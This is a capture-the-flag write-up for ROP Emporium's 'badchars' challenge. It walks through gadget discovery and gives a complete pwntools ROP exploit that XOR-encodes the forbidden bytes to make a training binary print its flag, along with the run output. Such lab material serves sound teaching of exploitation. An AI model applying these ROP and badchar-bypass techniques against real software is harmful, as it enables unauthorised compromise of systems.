badchars
Description
This is the fifth challenge of ropemporium: badchars.
The reasoning behind this is sometimes, characters can’t be sent properly in a payload. This could be because of filtering, parsing. or otherwise. This causes a problem in binary exploitation.
Exploration
Badchars
The badcharacters are given to eliminate the need to do reverse engineering:
1
2
3
4
5
$ ./badchars
badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
In hex, these have the following values:
x
= 0x78g
= 0x67a
= 0x61.
= 0x2e
Gadgets (usefulGadgets
and ropper
)
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x0000000000400628 <+0>: xor BYTE PTR [r15],r14b
0x000000000040062b <+3>: ret
0x000000000040062c <+4>: add BYTE PTR [r15],r14b
0x000000000040062f <+7>: ret
0x0000000000400630 <+8>: sub BYTE PTR [r15],r14b
0x0000000000400633 <+11>: ret
0x0000000000400634 <+12>: mov QWORD PTR [r13+0x0],r12
0x0000000000400638 <+16>: ret
0x0000000000400639 <+17>: nop DWORD PTR [rax+0x0]
End of assembler dump.
We can see a set of 4 useful gadgets, three of which do operations on the value at address R15 and one which writes any value R12 into address R13.
Note that the operations work in R14b, which is only the lower byte of R14.
Seeing that R12-R15 will be needed in this payload, we find a convenient gadget using ropper
:
1
2
3
4
5
6
7
8
$ ropper -f ./badchars --search "pop r12"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r12
[INFO] File: ./badchars
0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret;
Lastly, we need an RDI gadget:
1
2
3
4
5
6
7
8
$ ropper -f ./badchars --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: ./badchars
0x00000000004006a3: pop rdi; ret;
Write location
We can once again write in the .bss
section:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> info files
Symbols from "/home/ctf/ctf/ropemporium/badchars/badchars".
Local exec file:
`/home/ctf/ctf/ropemporium/badchars/badchars', file type elf64-x86-64.
Entry point: 0x400520
0x0000000000400238 - 0x0000000000400254 is .interp
0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id
0x0000000000400298 - 0x00000000004002d0 is .gnu.hash
0x00000000004002d0 - 0x00000000004003c0 is .dynsym
0x00000000004003c0 - 0x000000000040043e is .dynstr
0x000000000040043e - 0x0000000000400452 is .gnu.version
0x0000000000400458 - 0x0000000000400478 is .gnu.version_r
0x0000000000400478 - 0x00000000004004a8 is .rela.dyn
0x00000000004004a8 - 0x00000000004004d8 is .rela.plt
0x00000000004004d8 - 0x00000000004004ef is .init
0x00000000004004f0 - 0x0000000000400520 is .plt
0x0000000000400520 - 0x00000000004006b2 is .text
0x00000000004006b4 - 0x00000000004006bd is .fini
0x00000000004006c0 - 0x00000000004006d0 is .rodata
0x00000000004006d0 - 0x0000000000400714 is .eh_frame_hdr
0x0000000000400718 - 0x0000000000400838 is .eh_frame
0x0000000000600df0 - 0x0000000000600df8 is .init_array
0x0000000000600df8 - 0x0000000000600e00 is .fini_array
0x0000000000600e00 - 0x0000000000600ff0 is .dynamic
0x0000000000600ff0 - 0x0000000000601000 is .got
0x0000000000601000 - 0x0000000000601028 is .got.plt
0x0000000000601028 - 0x0000000000601038 is .data
0x0000000000601038 - 0x0000000000601040 is .bss
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
from pwn import *
exe = ELF("./badchars")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
We’ll write a similar function for the arbitrary write as we did in write4, this time taking into account the empty values in the R14 and R15 slots.
Note that flat
typically pads with the cyclic string, but we can set it to be a non-badchar. I chose z
.
1
2
3
4
5
6
7
8
9
10
11
def write(address, value):
mov_gadget = 0x400634
ins_gadget = 0x40069c
return flat([
ins_gadget,
value,
address,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
mov_gadget
])
We’ll also write a function to set a value at a specific address to a specific value using XOR. We’ll use write
to set an arbitrary value, then XOR to set it properly.
1
2
3
4
5
6
7
8
9
def fix(address, operand):
ins_gadget = 0x4006a0
xor_gadget = 0x400628
return flat([
ins_gadget,
operand,
address,
xor_gadget
])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def main():
r = conn()
# good luck pwning :)
offset = 0x28
bss = 0x601038
rdi_gadget = 0x4006a3
key = 2
data = b"flag.txt"
badchars = b"xga."
indices = []
enc = bytearray()
for i, b in enumerate(data):
if b in badchars:
enc.append(b ^ key)
indices.append(i)
else:
enc.append(b)
payload = b"z" * offset
payload += write(bss, enc)
for i in indices:
payload += fix(bss+i, key)
payload += flat([rdi_gadget, bss, exe.plt["print_file"]])
assert b"x" not in payload
assert b"g" not in payload
assert b"a" not in payload
assert b"." not in payload
print(payload)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Running
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/badchars/badchars'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
[+] Starting local process '/home/ctf/ctf/ropemporium/badchars/badchars': pid 200099
b'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz\x9c\x06@\x00\x00\x00\x00\x00flce,tzt8\x10`\x00\x00\x00\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde4\x06@\x00\x00\x00\x00\x00\xa0\x06@\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00:\x10`\x00\x00\x00\x00\x00(\x06@\x00\x00\x00\x00\x00\xa0\x06@\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00;\x10`\x00\x00\x00\x00\x00(\x06@\x00\x00\x00\x00\x00\xa0\x06@\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00<\x10`\x00\x00\x00\x00\x00(\x06@\x00\x00\x00\x00\x00\xa0\x06@\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00>\x10`\x00\x00\x00\x00\x00(\x06@\x00\x00\x00\x00\x00\xa3\x06@\x00\x00\x00\x00\x008\x10`\x00\x00\x00\x00\x00\x10\x05@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Mistakes to look out for
I had to reference this solution.
In the end I made two crucial mistakes. First, I confused the registers, since it switches the order compared to write4. Second. I missed the fact that the XOR gadget only works with bytes, so it has to go byte by byte.